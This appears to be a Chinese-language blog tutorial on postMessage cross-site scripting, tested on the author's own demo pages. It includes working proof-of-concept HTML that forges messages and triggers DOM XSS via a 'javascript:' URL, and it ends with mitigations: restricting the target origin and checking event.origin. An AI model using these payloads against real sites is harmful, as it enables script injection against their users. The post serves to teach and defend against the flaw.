PostMessage xss很有趣,在國外出現了很多次,國內src/眾測從沒遇到過,挖到過。可能境界還不夠,有機會再去試試。好幾年前記得心血來潮學過一次,都是半知半解,後來因為重要性不高,不了了之了,今天重新撿起來。
PostMessage的含義:參考MDN:
Window.postmessage()方法可以安全地實現Window物件之間的跨源通訊;例如,在頁面和它派生的彈出視窗之間,或者在頁面和其內嵌的iframe之間。
簡單點來說,我是這樣理解的:傳送相應資料到目標頁面,目標頁面接收傳輸的資料並進行處理。
具體理論詳情參考:https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage
廢話不多說,先準備環境:一臺閒置vps:
搭建兩個環境頁面:
demo1.html:代傳送資料的頁面:
<!DOCTYPE html> <html> <head> <title></title> <meta charset="utf-8" /> <script> function openChild() { child = window.open('demo2.html', 'popup', 'height=300px, width=500px'); } function sendMessage(){ //傳送的資料內容 let msg={pName : "jack", pAge: "12"}; //傳送訊息資料資料到任意目標源, *指的是任意anyone child.postMessage(msg,'*'); } </script> </head> <body> <form> <fieldset> <input type='button' id='btnopen' value='Open child' onclick='openChild();' /> <input type='button' id='btnSendMsg' value='Send Message' onclick='sendMessage();' /> </fieldset> </form> </body> </html>
demo2.html:代監聽傳送的資料,接收訊息資料頁面:
<!DOCTYPE html> <html> <head> <title></title> <meta charset="utf-8" /> <script> //新增事件監控訊息 window.addEventListener("message", (event)=>{ let txt=document.getElementById("msg"); //接收傳輸過來的變數資料 txt.value=`Name is ${event.data.pName} Age is ${event.data.pAge}` ; }); </script> </head> <body> <form> <h1>postMessage學習</h1> <input type='text' id='msg'/> </form> </body> </html>
訪問:http://119.45.227.86/postmessage/demo1.html
第二步:f12子視窗,找到監聽程式碼:
然後選擇主視窗,點選Send Messsage:
檢視子視窗,接收資料成功:
這樣我們就完成了一次:傳送資料->接收資料的一個過程
瞭解了基礎的使用,下面是關於PostMessgae XSS的安全隱患:
(1):資料偽造:
因為傳送資料中,使用的是*,並沒有限制目標源,導致可以通過任意地址給http://119.45.227.86/postmessage/demo2.html傳送資料:
attacker.html:
<!DOCTYPE html> <html> <head> <title></title> <meta charset="utf-8" /> <script> childwin = window.open('http://119.45.227.86/postmessage/demo2.html'); function sendMessage(){ let msg={pName : "attacker", pAge: "16"}; childwin.postMessage(msg,'*') } (function(){setTimeout("sendMessage()",1000);}()); </script> </head> </html>
直接本地localhost(模擬攻擊者vps)訪問:
發現通過攻擊者vps成功修改了傳輸過去的資料,原來是
Name is jack Age is 12
後被更改成:
Name is attacker Age is 16
(2)接收處的處理不當導致的dom xss:
測試環境:http://119.45.227.86/postmessage/xss.html
<!DOCTYPE html> <html> <head> <title></title> <meta charset="utf-8" /> <script> window.addEventListener("message", (event)=>{ location.href=`${event.data.url}`; }); </script> </head> </html>
location.href="資料",這裡可控,可以url跳轉,也可以xss
利用poc:
<!DOCTYPE html> <html> <head> <title></title> <meta charset="utf-8" /> <script> childwin = window.open('http://119.45.227.86/postmessage/xss.html'); function sendMessage(){ let msg={url:"javascript:alert(document.domain)"}; childwin.postMessage(msg,'*') } (function(){setTimeout("sendMessage()",1000);}()); </script> </head> </html>
本地訪問跳轉即觸發xss:
利用成功。利用poc2:
<!DOCTYPE html> <html> <head> <title></title> </head> <body> <iframe name="test" src="http://119.45.227.86/postmessage/xss.html" onload="xss()"></iframe> </body> <script type="text/javascript"> var iframe = window.frames.test function xss(){ let msg={"url":"javascript:alert(document.domain)"}; iframe.postMessage(msg,'*'); } </script> </html
本地訪問:
直接開啟即觸發xss:
修復緩解方案:
傳送訊息資料測試程式碼,限制目標源為指定傳送:
demo1.html:
<!DOCTYPE html> <html> <head> <title></title> <meta charset="utf-8" /> <script> childwin = window.open('http://119.45.227.86/postmessage/xss_renovate.html'); function sendMessage(){ let msg={url:"javascript:alert(document.domain)"}; childwin.postMessage(msg,'http://119.45.227.86/postmessage/xss_renovate.html') } (function(){setTimeout("sendMessage()",1000);}()); </script> </head> </html>
接收方測試程式碼:http://119.45.227.86/postmessage/xss_renovate.html
<!DOCTYPE html> <html> <head> <title></title> <meta charset="utf-8" /> <script> window.addEventListener("message", (event)=>{ if (event.origin !== "http://119.45.227.86"){ return; } location.href=`${event.data.url}`; }); </script> </head> <body> </body> </html>
再次訪問本地demo1.html,沒有彈窗xss了
1.限制傳送目標,禁止使用*
2.限制接收資料event.origin,使用指定信任域